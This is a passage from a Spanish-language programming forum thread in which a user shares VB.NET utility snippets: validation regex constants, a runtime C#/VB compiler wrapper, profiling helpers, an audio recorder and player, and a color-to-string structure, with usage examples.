Public Const Ipv4 As String =
"((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches an IPv6 address.
'''
''' For Example:
''' FE80:0000:0000:0000:0202:B3FF:FE1E:8329
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const Ipv6 As String =
"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches a valid e-mail address.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const EMail As String =
"^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches lower and upper case letters and all digits.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const SafeText As String =
"^[a-zA-Z0-9 .-]+$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches a valid credit card number.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const CreditCard As String =
"^((4\d{3})|(5[1-5]\d{2})|(6011)|(7\d{3}))-?\d{4}-?\d{4}-?\d{4}|3[4,7]\d{13}$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches an United States zip code with optional dash-four.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const USzip As String =
"^\d{5}(-\d{4})?$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches an United States phone number with or without dashes.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const USphone As String =
"^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches a 2 letter United States state abbreviations.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const USstate As String =
"^(AE|AL|AK|AP|AS|AZ|AR|CA|CO|CT|DE|DC|FM|FL|GA|GU|HI|ID|IL|IN|IA|KS|KY|LA|ME|MH|MD|MA|MI|MN|MS|MO|MP|MT|NE|NV|NH|NJ|NM|NY|NC|ND|OH|OK|OR|PW|PA|PR|RI|SC|SD|TN|TX|UT|VT|VI|VA|WA|WV|WI|WY)$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches a 9 digit United States social security number with dashes.
'''
''' For Example:
'''
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const USssn As String =
"^\d{3}-\d{2}-\d{4}$"
#End Region
End Class
#End Region
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Validates the specified regular expression pattern.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pattern">
''' The RegEx pattern.
''' </param>
'''
''' <param name="ignoreErrors">
''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if pattern validation success, <c>False</c> otherwise.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function Validate(ByVal pattern As String,
Optional ByVal ignoreErrors As Boolean = True) As Boolean
Try
Dim regEx As New Regex(pattern:=pattern)
Return True
Catch ex As Exception
If Not ignoreErrors Then
Throw
End If
Return False
End Try
End Function
''' ----------------------------------------------------------------------------------------------------
''' <example><code>
''' Dim regEx As New Regex("Dog", RegexOptions.IgnoreCase)
'''
''' Dim text As String = "One Dog!, Two Dogs!, three Dogs!"
''' RichTextBox1.Text = text
'''
''' Dim matchesPos As IEnumerable(Of RegExUtil.MatchPosition) = RegExUtil.GetMatchesPositions(regEx, text, groupIndex:=0)
'''
''' For Each matchPos As RegExUtil.MatchPosition In matchesPos
'''
''' Console.WriteLine(text.Substring(matchPos.StartIndex, matchPos.Length))
'''
''' With RichTextBox1
''' .SelectionStart = matchPos.StartIndex
''' .SelectionLength = matchPos.Length
''' .SelectionBackColor = Color.IndianRed
''' .SelectionColor = Color.WhiteSmoke
''' .SelectionFont = New Font(RichTextBox1.Font.Name, RichTextBox1.Font.SizeInPoints, FontStyle.Bold)
''' End With
'''
''' Next matchPos
'''
''' With RichTextBox1
''' .SelectionStart = 0
''' .SelectionLength = 0
''' End With
''' </code></example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Validates the specified regular expression pattern.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="regEx">
''' The RegEx pattern.
''' </param>
'''
''' <param name="text">
''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
''' </param>
'''
''' <param name="groupIndex">
''' If set to <c>true</c>, ignore validation errors, otherwise, throws an exception if validation fails.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if pattern validation success, <c>False</c> otherwise.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Iterator Function GetMatchesPositions(ByVal regEx As Regex,
ByVal text As String,
Optional ByVal groupIndex As Integer = 0) As IEnumerable(Of MatchPosition)
Dim match As Match = regEx.Match(text)
Do While match.Success
Yield New MatchPosition(value:=match.Groups(groupIndex).Value,
startIndex:=match.Groups(groupIndex).Index)
match = match.NextMatch
Loop
End Function
#End Region
End Class
#End Region
CodeDomUtil.vb, una class que sirve para compilar, en tiempo de ejecución, código o archivos/soluciones escritos en VB.Net o C#.
CodeDomUtil.vb sustituye por completo a la antigua versión publicada aquí:
http://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2021481#msg2021481
Añadí dos classes hijas que separan las funcionalidades (aunque basicamente son las mismas), estas son:
- CodeDomUtil.VisualBasicCompiler
- CodeDomUtil.CSharpCompiler
También añadí el evento CodeDomUtil.Compiler.CompilerWorkDone para desarrollar de manera más amistosa ...al suscribirse a este evento, vaya.
También hay definidas algunas plantillas de VB.Net y C#, plantila de consola, de WinForms, y de librería, pero estas plantillas más que para ser utilizadas sirven solamente cómo ejemplo (para testear el compiler o para mostrarle una estructura de código inicial al usuario). y más cosas que me dejo por nombrar.
El código fuente, aviso, son casi 2.000 lineas de código fuente, convendría separar las classes hijas, enumeraciones, constantes y demás para organizarlas en archivos distintos:
http://pastebin.com/Z7HMx5sg
Un ejemplo del compilador de VB.Net:
Public NotInheritable Class Form1 : Inherits Form
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The VisualBasic.Net compiler instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Dim WithEvents vbCompiler As CodeDomUtil.Compiler =
New CodeDomUtil.VisualBasicCompiler(CodeDomUtil.CompilerVersions.V4)
Private Sub Form1_Shown() Handles MyBase.Shown
With Me.vbCompiler.Compilersettings
.GenerateDebugInformation = True
.GenerateWarnings = True
.GenerateXmlDocumentation = True
.HighEntropyEnabled = True
.IntegerOverflowChecksEnabled = False
.OptimizationsEnabled = True
.Platform = CodeDomUtil.Platform.AnyCpu
.SubsystemVersion = CodeDomUtil.SubsystemVersions.WindowsXP
.TreatWarningsAsErrors = False
.Verbose = True
.VerboseSyntax = False
.WarningLevel = CodeDomUtil.WarningLevelEnum.Level3
.LibraryPaths.Add(IO.Directory.GetCurrentDirectory)
End With
Dim referencedAssemblies As New List(Of String)
referencedAssemblies.AddRange({"System.dll", "System.Windows.Forms.dll"})
' Compile a VB Console App from string.
vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.Console,
targetFile:="C:\VB Default Console App.exe",
sourceCode:=CodeDomUtil.Templates.TemplateVbConsoleApp,
mainMemberName:="MainNamespace.MainModule",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a VB WinForms App from string.
vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
targetFile:="C:\VB Default WinForms App.exe",
sourceCode:=CodeDomUtil.Templates.TemplateVbWinFormsApp,
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a VB library from string.
vbCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.DynamicLinkLibrary,
targetFile:="C:\VB Default Library.dll",
sourceCode:=CodeDomUtil.Templates.TemplateVbLib,
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a VB local file that contains the sourcecode.
vbCompiler.CompileFromFile(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
targetFile:="C:\VB Custom App.exe",
sourceFile:="C:\SourceCode.vb",
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="CodeDomUtil.Compiler.CompilerWorkDone"/> event of the <see cref="vbCompiler"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="CodeDomUtil.Compiler.CompilerWorkDoneEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub VbCompiler_CompilerWorkDone(ByVal sender As Object, ByVal e As CodeDomUtil.Compiler.CompilerWorkDoneEventArgs) _
Handles vbCompiler.CompilerWorkDone
Console.WriteLine(String.Format("Compiler: {0}", e.CodeDomProvider.ToString))
Console.WriteLine(String.Format("Parameters: {0}", e.CompilerParameters.CompilerOptions))
For Each war As CodeDomUtil.Compiler.Warning In e.CompilerWarnings
Console.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
Next war
For Each err As CodeDomUtil.Compiler.Error In e.CompileErrors
Console.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
Next err
If Not e.CompileErrors.Any Then
Console.WriteLine(String.Format("Compilation Successful: {0}", e.TargetFilePath))
End If
Console.WriteLine()
End Sub
End ClassUn ejemplo del compilador de C#:
Public NotInheritable Class Form1 : Inherits Form
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The C# compiler instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Dim WithEvents csCompiler As CodeDomUtil.Compiler =
New CodeDomUtil.CSharpCompiler(CodeDomUtil.CompilerVersions.V4)
Private Sub Form1_Shown() Handles MyBase.Shown
With Me.csCompiler.Compilersettings
.GenerateDebugInformation = True
.GenerateWarnings = True
.GenerateXmlDocumentation = True
.HighEntropyEnabled = True
.IntegerOverflowChecksEnabled = False
.OptimizationsEnabled = True
.OutputLanguage = New CultureInfo("en-US")
.Platform = CodeDomUtil.Platform.AnyCpu
.SubsystemVersion = CodeDomUtil.SubsystemVersions.WindowsXP
.TreatWarningsAsErrors = False
.Verbose = True
.VerboseSyntax = False
.WarningLevel = CodeDomUtil.WarningLevelEnum.Level3
.LibraryPaths.Add(IO.Directory.GetCurrentDirectory)
End With
Dim referencedAssemblies As New List(Of String)
referencedAssemblies.AddRange({"System.dll", "System.Windows.Forms.dll"})
' Compile a C# Console App from string.
csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.Console,
targetFile:="C:\CS Default Console App.exe",
sourceCode:=CodeDomUtil.Templates.TemplateCsConsoleApp,
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a C# WinForms App from string.
csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
targetFile:="C:\CS Default WinForms App.exe",
sourceCode:=CodeDomUtil.Templates.TemplateCsWinFormsApp,
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a C# library from string.
csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.DynamicLinkLibrary,
targetFile:="C:\CS Default Library.dll",
sourceCode:=CodeDomUtil.Templates.TemplateCsLib,
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
' Compile a C# local file that contains the sourcecode.
csCompiler.CompileFromFile(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
targetFile:="C:\CS Custom App.exe",
sourceFile:="C:\SourceCode.cs",
mainMemberName:="MainNamespace.MainClass",
referencedAssemblies:=referencedAssemblies,
resources:=Nothing,
iconFile:=Nothing)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="CodeDomUtil.Compiler.CompilerWorkDone"/> event of the csCompiler instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="CodeDomUtil.Compiler.CompilerWorkDoneEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub CsCompiler_CompilerWorkDone(ByVal sender As Object, ByVal e As CodeDomUtil.Compiler.CompilerWorkDoneEventArgs) _
Handles csCompiler.CompilerWorkDone
Console.WriteLine(String.Format("Compiler: {0}", e.CodeDomProvider.ToString))
Console.WriteLine(String.Format("Parameters: {0}", e.CompilerParameters.CompilerOptions))
For Each war As CodeDomUtil.Compiler.Warning In e.CompilerWarnings
Console.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
Next war
For Each err As CodeDomUtil.Compiler.Error In e.CompileErrors
Console.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
Next err
If Not e.CompileErrors.Any Then
Console.WriteLine(String.Format("Compilation Successful: {0}", e.TargetFilePath))
End If
Console.WriteLine()
End Sub
End ClassPor último, muestro el diagrama de class:
(http://i.imgur.com/2TgnAb9.png)
(http://i.imgur.com/5JUGyTf.png)
(http://i.imgur.com/VGRIByc.png)
Espero que les haya servido de algo este aporte.
Saludos!
Lamentablemente por las restricciones del foro en cuanto al límite de caracteres por post creo que no voy a poder seguir publicando snippets, ya que cada vez me quedan más grandes y muchas veces no me caben los snippets y debo subirlos a otro lugar para poner un simple enlace aquí...
Así que he decidido no publicar más snippets "importantes" o "grandes" por que me agobia dicha restricción, pero seguiré compartiendo snippets "pequeños" si surge la ocasión claro está.
También quiero mencionar que estoy construyendo mi GitHub en el cual pienso subir todos los snippets que tengo (y de paso, a ver si alguien me contribuye a optimizar los códigos xD).
Pueden visitar el repositorio de snippets a través de esta url:
➢ http://github.com/ElektroStudios/VBNetSnippets
...Todavía faltan muchas categorías y snippets por subir, ya que primero tengo que tratar de reorganizarlos y refactorizarlos (por ejemplo, en lugar de tener 20 snippets sobre manipulación de strings, los paso a un módulo de extensiones de String), y eso lleva su tiempo.
Bueno, un saludo!
Les traigo una nueva actualización de este útil módulo, ProfillingUtil.vb, que como su nombre indica está orientado a escenarios de Profilling y test de unidades de código, aunque todavía es un módulo muy sencillito.
Al módulo le añadí dos métodos asíncronos, uno para medir el tiempo de ejecución de una operación, y otro para evaluar si una operación fue exitosa o no. Aparte, he refactorizado los métodos sincrónicos que ya mostré en snippets anteriores... los cuales ahora exponen el resultado a través de la estructura ProfillingUtil.TestExecutionInfo para un manejo más sencillo o familiar e intuitivo.
Sin más, abajo les muestro el código fuente y ejemplos de uso.
Recuerden que aquí tienen más snippets:
(http://goo.gl/MyBHf2) (http://goo.gl/W2sE1q)
Saludos
Ejemplo de uso asíncronico:
Imports System
Imports System.Threading.Tasks
Public Class Form1 : Inherits Form
Private Sub Test() Handles Me.Shown
Dim taskTestTime As Task(Of TestExecutionInfo) =
ProfillingUtil.TestTimeAsync(Sub()
For x As Integer = 0 To 5000
Console.WriteLine(x)
Next x
End Sub)
taskTestTime.ContinueWith(Sub() Me.ShowTestExecutionInfo(taskTestTime.Result))
End Sub
Private Sub ShowTestExecutionInfo(ByVal teInfo As TestExecutionInfo)
Dim sb As New StringBuilder
Select Case teInfo.Success
Case True
With sb ' Set an information message.
.AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
.AppendLine()
.AppendLine(String.Format("Elapsed Time: {0}", teInfo.Elapsed.ToString("hh\:mm\:ss\:fff")))
End With
MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Information)
Case Else
With sb ' Set an error message.
.AppendLine("Exception occurred during code execution measuring.")
.AppendLine()
.AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
.AppendLine()
.AppendLine(String.Format("Exception Type: {0}", teInfo.Exception.GetType.Name))
.AppendLine()
.AppendLine("Exception Message:")
.AppendLine(teInfo.Exception.Message)
.AppendLine()
.AppendLine("Exception Stack Trace:")
.AppendLine(teInfo.Exception.StackTrace)
End With
MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Select
End Sub
End Class
Ejemplo de uso síncronico:
Sub Test()
Dim successful As Boolean =
ProfillingUtil.TestSuccess(Sub() Convert.ToInt32("Hello World!"))
Dim teInfo As TestExecutionInfo =
ProfillingUtil.TestTime(Sub()
For x As Integer = 0 To 2500
Console.WriteLine(x)
Next x
End Sub)
Dim sb As New StringBuilder
Select Case teInfo.Success
Case True
With sb ' Set an information message.
.AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
.AppendLine()
.AppendLine(String.Format("Elapsed Time: {0}", teInfo.Elapsed.ToString("hh\:mm\:ss\:fff")))
End With
MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Information)
Case Else
With sb ' Set an error message.
.AppendLine("Exception occurred during code execution measuring.")
.AppendLine()
.AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
.AppendLine()
.AppendLine(String.Format("Exception Type: {0}", teInfo.Exception.GetType.Name))
.AppendLine()
.AppendLine("Exception Message:")
.AppendLine(teInfo.Exception.Message)
.AppendLine()
.AppendLine("Exception Stack Trace:")
.AppendLine(teInfo.Exception.StackTrace)
End With
MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Select
End Sub
Código fuente del módulo ProfillingUtil.vb:
EDITO:
BUENO, POR LO VISTO EN EL FORO NO CABE UN MISERABLE CÓDIGO DE 700 LINEAS. ASÍ QUE NO PUEDO PUBLICARLO AQUÍ. COPIEN Y PEGUEN DESDE EL GITHUB:
https://raw.githubusercontent.com/ElektroStudios/VBNetSnippets/master/Profilling/Profilling%20Util.vb
Les traigo un nuevo snippet recién salido del horno, el módulo
AudioUtil.
La clase hija
AudioUtil.WaveRecorder permite grabar audio Wave de forma muy sencilla.
La clase hija
AudioUtil.AudioPlayer permite reproducir archivos wav, mp3 o mid/midi de forma muy sencilla.
Aparte de eso, el módulo
AudioUtil puede hacer algunas cosas más, como modificar el volumen de la aplicación actual, o silenciar el volumen del sistema.
Lista de miembros públicos:
- Types
- AudioUtil.AudioPlayer : IDisposable
- AudioUtil.StereoVolume <Serializable>
- AudioUtil.WaveRecorder : IDisposable
- Cosntructors
- AudioUtil.AudioPlayer.New()
- AudioUtil.AudioPlayer.New(Form)
- AudioUtil.StereoVolume(Integer, Integer)
- AudioUtil.WaveRecorder.New()
- Properties
- AudioUtil.AudioPlayer.Filepath As String
- AudioUtil.AudioPlayer.Status As PlayerState
- AudioUtil.AudioPlayer.PlaybackMode As AudioPlayMode
- AudioUtil.AudioPlayer.Channels As Integer
- AudioUtil.AudioPlayer.Length As Integer
- AudioUtil.AudioPlayer.Position As TimeSpan
- AudioUtil.AudioPlayer.IsFileLoaded As Boolean
- AudioUtil.StereoVolume.LeftChannel As Integer
- AudioUtil.StereoVolume.RightChannel As Integer
- AudioUtil.WaveRecorder.Status As AudioUtil.WaveRecorder.RecorderStatus
- Enumerations
- AudioUtil.ChannelMode As Integer
- AudioUtil.AudioPlayer.PlayerState As Integer
- AudioUtil.WaveRecorder.RecorderStatus As Integer
- Functions
- AudioUtil.GetAppVolume() As AudioUtil.StereoVolume
- Methods
- AudioUtil.MuteSystemVolume()
- AudioUtil.SetAppVolume(Integer)
- AudioUtil.SetAppVolume(Integer, Integer)
- AudioUtil.SetAppVolume(AudioUtil.StereoVolume)
- AudioUtil.AudioPlayer.LoadFile(String)
- AudioUtil.AudioPlayer.UnloadFile
- AudioUtil.AudioPlayer.Play(Opt: AudioPlayMode)
- AudioUtil.AudioPlayer.Seek(Long)
- AudioUtil.AudioPlayer.Seek(TimeSpan)
- AudioUtil.AudioPlayer.Pause
- AudioUtil.AudioPlayer.Resume
- AudioUtil.AudioPlayer.Stop
- AudioUtil.AudioPlayer.Dispose
- AudioUtil.WaveRecorder.Record
- AudioUtil.WaveRecorder.Stop
- AudioUtil.WaveRecorder.Play
- AudioUtil.WaveRecorder.Delete
- AudioUtil.WaveRecorder.Save(String, Opt: Boolean)
- AudioUtil.WaveRecorder.Dispose
Ejemplo de uso de la class
WaveRecorder:
Dim recorder As New WaveRecorder
Sub Button_Record_Click() Handles Button_Record.Click
If Not (recorder.Status = WaveRecorder.RecorderStatus.Recording) Then
recorder.Record()
End If
End Sub
Sub Button_Stop_Click() Handles Button_Stop.Click
If (recorder.Status = WaveRecorder.RecorderStatus.Recording) Then
recorder.Stop()
End If
End Sub
Sub Button_Play_Click() Handles Button_Play.Click
If (recorder.Status = WaveRecorder.RecorderStatus.Stopped) Then
recorder.Play()
End If
End Sub
Sub Button_Delete_Click() Handles Button_Delete.Click
If Not (recorder.Status = WaveRecorder.RecorderStatus.Empty) Then
recorder.Delete()
End If
End Sub
Sub Button_Save_Click() Handles Button_Save.Click
If Not (recorder.Status = WaveRecorder.RecorderStatus.Empty) Then
recorder.Save("C:\File.wav", overWrite:=True)
End If
End SubEjemplo de uso de la class
AudioPlayer:
Dim player As New AudioPlayer
Sub Button_LoadFile_Click() Handles Button_LoadFile.Click
If Not player.IsFileLoaded Then
player.LoadFile("C:\File.wav")
End If
End Sub
Sub Button_Play_Click() Handles Button_Play.Click
If Not (player.Status = AudioPlayer.PlayerState.Playing) Then
player.Play(AudioPlayMode.Background)
End If
End Sub
Sub Button_Stop_Click() Handles Button_Stop.Click
If Not (player.Status = AudioPlayer.PlayerState.Stopped) Then
player.Stop()
End If
End Sub
Sub Button_PauseResume_Click() Handles Button_PauseResume.Click
If (player.Status = AudioPlayer.PlayerState.Playing) Then
player.Pause()
ElseIf (player.Status = AudioPlayer.PlayerState.Paused) Then
player.Resume()
End If
End Sub
Private Sub Button_SeekBackward_Click(sender As Object, e As EventArgs) Handles Button_SeekBackward.Click
Dim currentPosition As Long = CLng(player.Position.TotalMilliseconds)
If ((currentPosition - 5000) <= 0) Then
player.Seek(0)
Else
player.Seek(currentPosition - 5000)
End If
End Sub
Private Sub Button_SeekForward_Click(sender As Object, e As EventArgs) Handles Button_SeekForward.Click
Dim currentPosition As Long = CLng(player.Position.TotalMilliseconds)
If Not ((currentPosition + 5000) >= player.Length) Then
player.Seek(currentPosition + 5000)
End If
End Sub
Sub Button_UnloadFile_Click() Handles Button_UnloadFile.Click
If player.IsFileLoaded Then
player.UnLoadFile()
End If
End Sub
Código fuente:
- https://github.com/ElektroStudios/VBNetSnippets/blob/master/Audio/Audio%20Util.vb
Más snippets (o librerías según se mire xD) en:
(http://goo.gl/MyBHf2) (http://goo.gl/W2sE1q)
Saludos!
Una simple esructura para representar un color, en un string con formato y sintaxis unica.
Se puede extender sencillamente para añadir más formatos/sintaxis.
Ejemplo de uso:
Dim colorString As New ColorString(Color.FromArgb(255, 91, 146, 198))
Console.WriteLine(String.Format("ColorString Structure Size: {0}", Marshal.SizeOf(GetType(ColorString)).ToString))
Console.WriteLine(String.Format("Color.Tostring : {0}", colorString.Color.ToString))
Console.WriteLine(String.Format("ColorString.Tostring: {0}", colorString.ToString))
Console.WriteLine()
Console.WriteLine(String.Format("Numeric Format (Standard) : {0}", colorString.Numeric(ColorString.ColorStringSyntax.Standard)))
Console.WriteLine(String.Format("Numeric Format (CSharp) : {0}", colorString.Numeric(ColorString.ColorStringSyntax.CSharp)))
Console.WriteLine(String.Format("Numeric Format (VbNet) : {0}", colorString.Numeric(ColorString.ColorStringSyntax.VbNet)))
Console.WriteLine(String.Format("Numeric Format (VisualStudio): {0}", colorString.Numeric(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
Console.WriteLine()
Console.WriteLine(String.Format("Hexadecimal Format (Standard) : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.Standard)))
Console.WriteLine(String.Format("Hexadecimal Format (CSharp) : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.CSharp)))
Console.WriteLine(String.Format("Hexadecimal Format (VbNet) : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.VbNet)))
Console.WriteLine(String.Format("Hexadecimal Format (VisualStudio): {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
Console.WriteLine()
Console.WriteLine(String.Format("Web Format (Standard) : {0}", colorString.Web(ColorString.ColorStringSyntax.Standard)))
Console.WriteLine(String.Format("Web Format (CSharp) : {0}", colorString.Web(ColorString.ColorStringSyntax.CSharp)))
Console.WriteLine(String.Format("Web Format (VbNet) : {0}", colorString.Web(ColorString.ColorStringSyntax.VbNet)))
Console.WriteLine(String.Format("Web Format (VisualStudio): {0}", colorString.Web(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))Resultado de ejecución:
CitarColorString Structure Size: 24
Color.Tostring : Color [A=255, R=91, G=146, B=198]
ColorString.Tostring: {A=255, R=91, G=146, B=198}
Numeric Format (Standard) : 255, 91, 146, 198
Numeric Format (CSharp) : Color.FromArgb(255, 91, 146, 198);
Numeric Format (VbNet) : Color.FromArgb(255, 91, 146, 198)
Numeric Format (VisualStudio): 255; 91; 146; 198
Hexadecimal Format (Standard) : FF5B92C6
Hexadecimal Format (CSharp) : Color.FromArgb(0xFF, 0x5B, 0x92, 0xC6);
Hexadecimal Format (VbNet) : Color.FromArgb(&HFF, &H5B, &H92, &HC6)
Hexadecimal Format (VisualStudio): 0xFF5B92C6
Web Format (Standard) : #5B92C6
Web Format (CSharp) : ColorTranslator.FromHtml("#5B92C6");
Web Format (VbNet) : ColorTranslator.FromHtml("#5B92C6")
Web Format (VisualStudio): #5B92C6
Ejemplo de utilidad en la vida real:
(http://i.imgur.com/VSAWcDr.png)
Código fuente:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Defines a <see cref="Color"/> with an unique string-format representation in the specified string-syntax.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim colorString As New ColorString(Color.FromArgb(255, 91, 146, 198))
'''
''' Console.WriteLine(String.Format("ColorString Structure Size: {0}", Marshal.SizeOf(GetType(ColorString)).ToString))
''' Console.WriteLine(String.Format("Color.Tostring : {0}", colorString.Color.ToString))
''' Console.WriteLine(String.Format("ColorString.Tostring: {0}", colorString.ToString))
''' Console.WriteLine()
''' Console.WriteLine(String.Format("Numeric Format (Standard) : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.Standard)))
''' Console.WriteLine(String.Format("Numeric Format (CSharp) : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
''' Console.WriteLine(String.Format("Numeric Format (VbNet) : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
''' Console.WriteLine(String.Format("Numeric Format (VisualStudio): {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
''' Console.WriteLine()
''' Console.WriteLine(String.Format("Hexadecimal Format (Standard) : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.Standard)))
''' Console.WriteLine(String.Format("Hexadecimal Format (CSharp) : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
''' Console.WriteLine(String.Format("Hexadecimal Format (VbNet) : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
''' Console.WriteLine(String.Format("Hexadecimal Format (VisualStudio): {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
''' Console.WriteLine()
